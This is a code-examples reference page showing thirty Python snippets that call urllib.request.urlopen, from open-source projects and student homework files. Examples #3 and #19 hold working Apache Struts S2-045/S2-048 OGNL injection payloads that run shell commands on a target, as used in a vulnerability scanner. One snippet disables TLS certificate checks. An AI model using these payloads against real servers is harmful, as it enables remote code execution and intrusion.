Python urllib.request.urlopen() Examples

The following are 30 code examples of urllib.request.urlopen(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module urllib.request , or try the search function .
Example #1
Source File: download.py    From gog-galaxy-plugin-downloader with GNU General Public License v3.0 9 votes vote down vote up
def get_plugin_config(config_uri):
    """
    Downloads/opens configuration yaml file, returns
    dict of Galaxy plugins
    """
    # Try to open the URI as a URL or fall back to opening local file
    try:
        config_uri_parsed = urlparse(config_uri)
        if config_uri_parsed.scheme in ['https', 'http']:
            url = urlopen(config_uri)
            yaml_data = url.read()
        else:
            with open(config_uri, 'r') as file_data:
                yaml_data = file_data.read()
    except URLError as e:
        print(e)

    # Parse the YAML configuration
    try:
        plugin_data = yaml.safe_load(yaml_data)

        return plugin_data['plugins']
    except yaml.YAMLError as e:
        print(e) 
Example #2
Source File: L.E.S.M.A. - Fabrica de Noobs Speedtest.py    From L.E.S.M.A with Apache License 2.0 7 votes vote down vote up
def run(self):
		request = self.request
		try:
			if ((timeit.default_timer() - self.starttime) <= self.timeout and
					not SHUTDOWN_EVENT.isSet()):
				try:
					f = urlopen(request)
				except TypeError:
					# PY24 expects a string or buffer
					# This also causes issues with Ctrl-C, but we will concede
					# for the moment that Ctrl-C on PY24 isn't immediate
					request = build_request(self.request.get_full_url(),
											data=request.data.read(self.size))
					f = urlopen(request)
				f.read(11)
				f.close()
				self.result = sum(self.request.data.total)
			else:
				self.result = 0
		except (IOError, SpeedtestUploadTimeout):
			self.result = sum(self.request.data.total) 
Example #3
Source File: apache_struts_all.py    From Vxscan with Apache License 2.0 7 votes vote down vote up
def st045(self):
        try:
            cmd = self.linux
            header = dict()
            header[
                "User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
            header[
                "Content-Type"] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#iswin?(#cmd='" + cmd + "'):(#cmd='" + cmd + "')).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
            r = request.Request(self.url, headers=header)
            text = request.urlopen(r).read()
        except http.client.IncompleteRead as e:
            text = e.partial
        except Exception:
            pass
        if 'text' in locals().keys():
            self.random = str(self.random)
            if self.random.encode('utf-8') in text and len(text) < 15:
                self.result.append('Apache S2-045 Vulnerability: ' + self.url) 
Example #4
Source File: diagnose.py    From dynamic-training-with-apache-mxnet-on-aws with Apache License 2.0 7 votes vote down vote up
def test_connection(name, url, timeout=10):
    """Simple connection test"""
    urlinfo = urlparse(url)
    start = time.time()
    try:
        ip = socket.gethostbyname(urlinfo.netloc)
    except Exception as e:
        print('Error resolving DNS for {}: {}, {}'.format(name, url, e))
        return
    dns_elapsed = time.time() - start
    start = time.time()
    try:
        _ = urlopen(url, timeout=timeout)
    except Exception as e:
        print("Error open {}: {}, {}, DNS finished in {} sec.".format(name, url, e, dns_elapsed))
        return
    load_elapsed = time.time() - start
    print("Timing for {}: {}, DNS: {:.4f} sec, LOAD: {:.4f} sec.".format(name, url, dns_elapsed, load_elapsed)) 
Example #5
Source File: download_images.py    From neural-fingerprinting with BSD 3-Clause "New" or "Revised" License 7 votes vote down vote up
def download_image(image_id, url, x1, y1, x2, y2, output_dir):
    """Downloads one image, crops it, resizes it and saves it locally."""
    output_filename = os.path.join(output_dir, image_id + '.png')
    if os.path.exists(output_filename):
        # Don't download image if it's already there
        return True
    try:
        # Download image
        url_file = urlopen(url)
        if url_file.getcode() != 200:
            return False
        image_buffer = url_file.read()
        # Crop, resize and save image
        image = Image.open(BytesIO(image_buffer)).convert('RGB')
        w = image.size[0]
        h = image.size[1]
        image = image.crop((int(x1 * w), int(y1 * h), int(x2 * w),
                            int(y2 * h)))
        image = image.resize((299, 299), resample=Image.ANTIALIAS)
        image.save(output_filename)
    except IOError:
        return False
    return True 
Example #6
Source File: fels.py    From fetchLandsatSentinelFromGoogleCloud with MIT License 6 votes vote down vote up
def download_metadata_file(url, outputdir, program):
    """Download and unzip the catalogue files."""
    zipped_index_path = os.path.join(outputdir, 'index_' + program + '.csv.gz')
    if not os.path.isfile(zipped_index_path):
        if not os.path.exists(os.path.dirname(zipped_index_path)):
            os.makedirs(os.path.dirname(zipped_index_path))
        print("Downloading Metadata file...")
        content = urlopen(url)
        with open(zipped_index_path, 'wb') as f:
            shutil.copyfileobj(content, f)
    index_path = os.path.join(outputdir, 'index_' + program + '.csv')
    if not os.path.isfile(index_path):
        print("Unzipping Metadata file...")
        with gzip.open(zipped_index_path) as gzip_index, open(index_path, 'wb') as f:
            shutil.copyfileobj(gzip_index, f)
    return index_path 
Example #7
Source File: __init__.py    From pyhanlp with Apache License 2.0 6 votes vote down vote up
def hanlp_releases(cache=True):
    global HANLP_RELEASES
    if cache and HANLP_RELEASES:
        return HANLP_RELEASES
    # print('Request GitHub API')
    req = urllib.Request('http://nlp.hankcs.com/download.php?file=version')
    req.add_header('User-agent', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36')
    if PY == 3:
        content = urllib.urlopen(req).read()
    else:
        content = urllib.urlopen(req).read()
    content = json.loads(content.decode())
    jar_version, jar_url, data_version, data_url = content
    meta = [(jar_version, jar_url, data_version, data_url)]
    HANLP_RELEASES = meta
    return meta 
Example #8
Source File: data_utils.py    From IGMC with MIT License 6 votes vote down vote up
def download_dataset(dataset, files, data_dir):
    """ Downloads dataset if files are not present. """

    if not np.all([os.path.isfile(data_dir + f) for f in files]):
        url = "http://files.grouplens.org/datasets/movielens/" + dataset.replace('_', '-') + '.zip'
        request = urlopen(url)

        print('Downloading %s dataset' % dataset)

        if dataset in ['ml_100k', 'ml_1m']:
            target_dir = 'raw_data/' + dataset.replace('_', '-')
        elif dataset == 'ml_10m':
            target_dir = 'raw_data/' + 'ml-10M100K'
        else:
            raise ValueError('Invalid dataset option %s' % dataset)

        with ZipFile(BytesIO(request.read())) as zip_ref:
            zip_ref.extractall('raw_data/')

        os.rename(target_dir, data_dir)
        #shutil.rmtree(target_dir) 
Example #9
Source File: cifar10.py    From Recipes with MIT License 6 votes vote down vote up
def download_dataset(path, source='https://www.cs.toronto.edu/~kriz/'
                                  'cifar-10-python.tar.gz'):
    """
    Downloads and extracts the dataset, if needed.
    """
    files = ['data_batch_%d' % (i + 1) for i in range(5)] + ['test_batch']
    for fn in files:
        if not os.path.exists(os.path.join(path, 'cifar-10-batches-py', fn)):
            break  # at least one file is missing
    else:
        return  # dataset is already complete

    print("Downloading and extracting %s into %s..." % (source, path))
    if sys.version_info[0] == 2:
        from urllib import urlopen
    else:
        from urllib.request import urlopen
    import tarfile
    if not os.path.exists(path):
        os.makedirs(path)
    u = urlopen(source)
    with tarfile.open(fileobj=u, mode='r|gz') as f:
        f.extractall(path=path)
    u.close() 
Example #10
Source File: utils.py    From script.module.inputstreamhelper with MIT License 6 votes vote down vote up
def _http_request(url, headers=None, time_out=10):
    """Perform an HTTP request and return request"""
    log(0, 'Request URL: {url}', url=url)

    try:
        if headers:
            request = Request(url, headers=headers)
        else:
            request = Request(url)
        req = urlopen(request, timeout=time_out)
        log(0, 'Response code: {code}', code=req.getcode())
        if 400 <= req.getcode() < 600:
            raise HTTPError('HTTP %s Error for url: %s' % (req.getcode(), url), response=req)
    except (HTTPError, URLError) as err:
        log(2, 'Download failed with error {}'.format(err))
        if yesno_dialog(localize(30004), '{line1}\n{line2}'.format(line1=localize(30063), line2=localize(30065))):  # Internet down, try again?
            return _http_request(url, headers, time_out)
        return None

    return req 
Example #11
Source File: pubchem.py    From QCElemental with BSD 3-Clause "New" or "Revised" License 6 votes vote down vote up
def get_sdf(self):
        """Function to return the SDF (structure-data file) of the PubChem object."""
        from urllib.request import urlopen, Request
        from urllib.parse import quote
        from urllib.error import URLError

        if len(self.dataSDF) == 0:
            url = "https://pubchem.ncbi.nlm.nih.gov/rest/pug/compound/cid/{}/SDF?record_type=3d".format(
                quote(str(self.cid))
            )
            req = Request(url, headers={"Accept": "chemical/x-mdl-sdfile"})
            try:
                self.dataSDF = urlopen(req).read().decode("utf-8")
            except URLError as e:
                msg = "Unable to open\n\n%s\n\ndue to the error\n\n%s\n\n" % (url, e)
                msg += "It is possible that 3D information does not exist for this molecule in the PubChem database\n"
                print(msg)
                raise ValidationError(msg)
        return self.dataSDF 
Example #12
Source File: connection.py    From dot2moon with MIT License 6 votes vote down vote up
def HTML(self, check):
        try:
            if self.UserAgent != None:
                page_html = urlopen(Request(
                        self.target_url,
                        headers={"User-Agent":self.UserAgent}),
                        timeout=self.TimeOut).read().decode("utf-8")

            #If not, the default will be used
            else:
                page_html = urlopen(
                        self.target_url,
                        timeout=self.TimeOut).read().decode("utf-8")

        except HTTPError:
            page_html = "Can't get page source code"

        if self.verbose == True:
            print(" [+] Source code got from %s" % self.target_url)
            print("----START" + "-"*71)
            print(page_html)
            print("----END" + "-"*73)

        return(page_html) 
Example #13
Source File: connection.py    From dot2moon with MIT License 6 votes vote down vote up
def post(self, payload, request_par):
        data = parse.urlencode(request_par).encode()

        if self.UserAgent != None:
            req = Request(
                    self.target_url,
                    data=data, 
                    headers={"User-Agent":self.UserAgent})
            conn = urlopen(req, timeout=self.TimeOut)
        else:
            conn = urlopen(self.target_url,
                    data=data,
                    timeout=self.TimeOut)

        html = conn.read().decode("utf-8")
        page_size = len(html)

        if self.verbose == True:
            print(" [+] Source code got from %s" % payload)
            print("----START" + "-"*71)
            print(html)
            print("----END" + "-"*73)
        
        return(self.target_url, page_size, html, payload) 
Example #14
Source File: playlist.py    From ffplayout-engine with GNU General Public License v3.0 5 votes vote down vote up
def get_playlist(self):
        if stdin_args.playlist:
            self.json_file = stdin_args.playlist
        else:
            year, month, day = self.list_date.split('-')
            self.json_file = os.path.join(
             _playlist.path, year, month, self.list_date + '.json')

        if '://' in self.json_file:
            self.json_file = self.json_file.replace('\\', '/')

            try:
                req = request.urlopen(self.json_file,
                                      timeout=1,
                                      context=ssl._create_unverified_context())
                b_time = req.headers['last-modified']
                temp_time = time.strptime(b_time, "%a, %d %b %Y %H:%M:%S %Z")
                mod_time = time.mktime(temp_time)

                if mod_time > self.last_mod_time:
                    self.clip_nodes = valid_json(req)
                    self.last_mod_time = mod_time
                    messenger.info('Open: ' + self.json_file)
                    validate_thread(self.clip_nodes)
            except (request.URLError, socket.timeout):
                self.eof_handling('Get playlist from url failed!', False)

        elif os.path.isfile(self.json_file):
            # check last modification from playlist
            mod_time = os.path.getmtime(self.json_file)
            if mod_time > self.last_mod_time:
                with open(self.json_file, 'r', encoding='utf-8') as f:
                    self.clip_nodes = valid_json(f)

                self.last_mod_time = mod_time
                messenger.info('Open: ' + self.json_file)
                validate_thread(self.clip_nodes)
        else:
            self.clip_nodes = None 
Example #15
Source File: nexus_exporter.py    From nexus-exporter with Apache License 2.0 5 votes vote down vote up
def _request_data(self):
        info_request = urllib2.Request(
            "{0}/service/rest/atlas/system-information".format(self._target))
        info_request.add_header("Authorization", "Basic %s" % self._auth)
        self._info = json.loads(urllib2.urlopen(info_request).read())

        data_request = urllib2.Request("{0}/service/metrics/data".format(
            self._target))
        data_request.add_header("Authorization", "Basic %s" % self._auth)
        self._data = json.loads(urllib2.urlopen(data_request).read()) 
Example #16
Source File: connection.py    From dot2moon with MIT License 5 votes vote down vote up
def PageSize(self, check):
        #If different User Agent is required
        if check == True:
            try:
                if self.UserAgent != None:
                    page_size = len(urlopen(Request(
                            self.target_url + "a",
                            headers={"User-Agent":self.UserAgent}),
                            timeout=self.TimeOut).read())

                #If not, default will be used
                else:
                    page_size = len(urlopen(
                            self.target_url + "a",
                            timeout=self.TimeOut).read())

            except HTTPError as e:
                print(e)
                page_size = "Can't get default page size"
            
            if self.verbose == True:
                print(" [+] Default page size: %s bytes" % page_size)

        else:
            if self.UserAgent != None:
                page_size = len(urlopen(Request(
                        self.target_url,
                        headers={"User-Agent":self.UserAgent}),
                        timeout=self.TimeOut).read())

            #If not, default will be used
            else:
                page_size = len(urlopen(
                        self.target_url,
                        timeout=self.TimeOut).read())

            if self.verbose == True:
                print(self.target_url, page_size)
            
        return(self.target_url, page_size) 
Example #17
Source File: get_recipes.py    From recipe-box with MIT License 5 votes vote down vote up
def get_fn_letter_links():
    # get list of pages with links to recipes
    base_url = 'http://www.foodnetwork.com'
    search_url_str = 'recipes/a-z'
    url = '{}/{}/{}'.format(base_url, search_url_str, '')

    try:
        soup = BeautifulSoup(request.urlopen(
            request.Request(url, headers=HEADERS)).read(), "html.parser")
        page_link_items = soup.select('ul.o-IndexPagination__m-List li a')
        letter_links = [p['href'] for p in page_link_items]
        return letter_links
    except (HTTPError, URLError):
        print('Could not parse page {}'.format(url)) 
Example #18
Source File: get_recipes.py    From recipe-box with MIT License 5 votes vote down vote up
def get_all_recipes_epi(page_num):
    base_url = 'http://www.epicurious.com'
    search_url_str = 'search/?content=recipe&page'
    url = '{}/{}={}'.format(base_url, search_url_str, page_num)

    try:
        soup = BeautifulSoup(request.urlopen(
            request.Request(url, headers=HEADERS)).read(), "html.parser")
        recipe_link_items = soup.select('div.results-group article.recipe-content-card a.view-complete-item')
        recipe_links = [r['href'] for r in recipe_link_items]
        return {base_url + r: get_recipe(base_url + r) for r in recipe_links}
    except (HTTPError, URLError):
        print('Could not parse page {}'.format(url))
        return [] 
Example #19
Source File: apache_struts_all.py    From Vxscan with Apache License 2.0 5 votes vote down vote up
def st048(self):
        cmd = self.linux
        payload = "name=%25%7B%28%23_%3D%27multipart%2fform-data%27%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27" + cmd + "%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&age=123&__cheackbox_bustedBefore=true&description=123"
        payload = payload.encode('utf-8')
        try:
            r = request.urlopen(self.url + '/integration/saveGangster.action', payload)
            text = r.read()
        except http.client.IncompleteRead as e:
            text = e.partial
        except:
            text = b''
        if 'text' in locals().keys():
            self.random = str(self.random)
            if self.random.encode('utf-8') in text and len(text) < 15:
                self.result.append('Apache S2-048 Vulnerability: ' + self.url) 
Example #20
Source File: b06902100.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module

    Args:
        img_url: address of an image

    Returns:
        result_img: an PIL Image

    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    result_img = None
    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_name() in the utils module
    # under src/.
    # You are allowed to change the img_url to your own image URL.
    from PIL import Image
    import utils

    resp = request.urlopen(img_url)
    result_img = Image.open(resp)
    result_img = utils.draw_text(result_img, "B06902100")
    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.

    # If you are running on a server, use
    # result_img.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.

    # End of TODO

    return result_img 
Example #21
Source File: b06209035.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module

    Args:
        img_url: address of an image

    Returns:
        result_img: an PIL Image

    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    result_img = None

    # TODO: download the image from img_url with the request module

    from PIL import Image
    import utils
    response = request.urlopen(img_url)
    result_img = Image.open(response)
    result_img = utils.draw_text(result_img, 'b06209035')
    # and add your student ID on it with draw_text() in the utils module
    # under src/.
    # You are allowed to change the img_url to your own image URL.

    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.
    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.

    # End of TODO

    return result_img 
Example #22
Source File: B07902096.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module
    Args:
        img_url: address of an image
    Returns:
        result_img: an PIL Image
    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    from PIL import Image

    result_img = None

    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_name() in the utils module
    # under src/.
    import utils
    import io
    tmp = request.urlopen(img_url).read()
    result_img = Image.open(io.BytesIO(tmp))
    result_img = utils.draw_text(result_img,'B07902096')
    # You are allowed to change the img_url to your own image URL.

    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.

    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.

    # End of TODO

    #result_img.show()
    return result_img 
Example #23
Source File: B07902007.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module
    Args:
        img_url: address of an image
    Returns:
        result_img: an PIL Image
    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    result_img = None

    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_text() in the utils module
    # under src/.
    respond = request.urlopen(img_url)
    from PIL import Image
    result_img = Image.open(respond)
    from utils import draw_text
    my_id = "B07902007"  # download image from img_url and add my ID to it
    draw_text(result_img, my_id)
    # You are allowed to change the img_url to your own image URL.

    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.

    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.

    # End of TODO

    return result_img 
Example #24
Source File: b04505049.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://imgur.com/t0yCtDw.jpg'
) -> object:
    '''
    Task 8: Module

    Args:
        img_url: address of an image

    Returns:
        result_img: an PIL Image

    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    result_img = None
    import utils
    import io
    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_name() in the utils module
    # under src/.
    #參考網絡code完成fix
    from PIL import Image
    Arianrhod=request.urlopen(img_url).read()
    result_img = Image.open(io.BytesIO(Arianrhod))   
    result_img = utils.draw_text(result_img, "b04505049")
    # You are allowed to change the img_url to your own image URL.
    # Display the image:
    #result_img.show()
    # Note: please comment this line when hand in.
    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.
    # End of TODO
    return result_img 
Example #25
Source File: b07902063.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module
    Args:
        img_url: address of an image
    Returns:
        result_img: an PIL Image
    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    result_img = None

    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_text() in the utils module
    # under src/.
    import utils
    import io
    from PIL import Image
    with request.urlopen(img_url) as response:
        r = response.read()
    result_img = Image.open(io.BytesIO(r))
    result_img = utils.draw_text(result_img,'StudentID b07902063')
    # You are allowed to change the img_url to your own image URL.

    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.

    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.

    # End of TODO

    return result_img 
Example #26
Source File: r06522601.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module

    Args:
        img_url: address of an image

    Returns:
        result_img: an PIL Image

    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    result_img = None

    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_text() in the utils module
    # under src/.

    # You are allowed to change the img_url to your own image URL.

    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.

    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.
    reslt_img = request.urlopen(img_url)
    from .. import ultis
    draw_text(result_img, 'r06522601', (0.0), (255,255,255))
    #result_img.show()
    result_img.save('test.jpg')
    # End of TODO

    return result_img 
Example #27
Source File: b07902011.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module

    Args:
        img_url: address of an image

    Returns:
        result_img: an PIL Image

    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    import utils
    import io
    store = request.urlopen(img_url)
    result_img = Image.open(io.BytesIO(store.read()))
    result_img = utils.draw_text(result_img, "B07902011")

    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_text() in the utils module
    # under src/.

    # You are allowed to change the img_url to your own image URL.

    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.

    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.

    # End of TODO

    return result_img 
Example #28
Source File: b07902005.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module

    Args:
        img_url: address of an image

    Returns:
        result_img: an PIL Image

    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    result_img = None

    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_text() in the utils module
    # under src/.
    from PIL import Image
    import utils
    response = request.urlopen(img_url)
    result_img = Image.open(response)
    result_img = utils.draw_text(result_img, "b07902005")
    # You are allowed to change the img_url to your own image URL.

    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.

    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.

    # End of TODO

    return result_img 
Example #29
Source File: B07902017.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module

    Args:
        img_url: address of an image

    Returns:
        result_img: an PIL Image

    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from urllib import request
    result_img = None

    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_name() in the utils module
    # under src/.

    # You are allowed to change the img_url to your own image URL.

    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.

    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.
    from PIL import Image
    import utils
    response = request.urlopen(img_url)
    result_img = Image.open(response)
    result_img = utils.draw_text(result_img, "B07902017")
    # End of TODO

    return result_img 
Example #30
Source File: b06902079.py    From PythonHomework with MIT License 5 votes vote down vote up
def task_8(
    img_url: str = 'https://i.imgur.com/B75zq0x.jpg'
) -> object:
    '''
    Task 8: Module

    Args:
        img_url: address of an image

    Returns:
        result_img: an PIL Image

    Hints:
        * Make sure you have installed the PIL package
        * Take a look at utils.py first
        * You could easily find answers with Google
    '''
    from PIL import Image, ImageFont, ImageDraw
    from urllib import request
    result_img = Image.open(request.urlopen(img_url))
    draw = ImageDraw.Draw(result_img)
    font = ImageFont.load_default().font
    draw.text((0, 0), "B06902079", (0, 0, 0), font=font)
    # TODO: download the image from img_url with the request module
    # and add your student ID on it with draw_name() in the utils module
    # under src/.

    # You are allowed to change the img_url to your own image URL.

    # Display the image:
    # result_img.show()
    # Note: please comment this line when hand in.

    # If you are running on a server, use
    # result.save('test.jpg')
    # and copy the file to local or use Jupyter Notebook to render.

    # End of TODO

    return result_img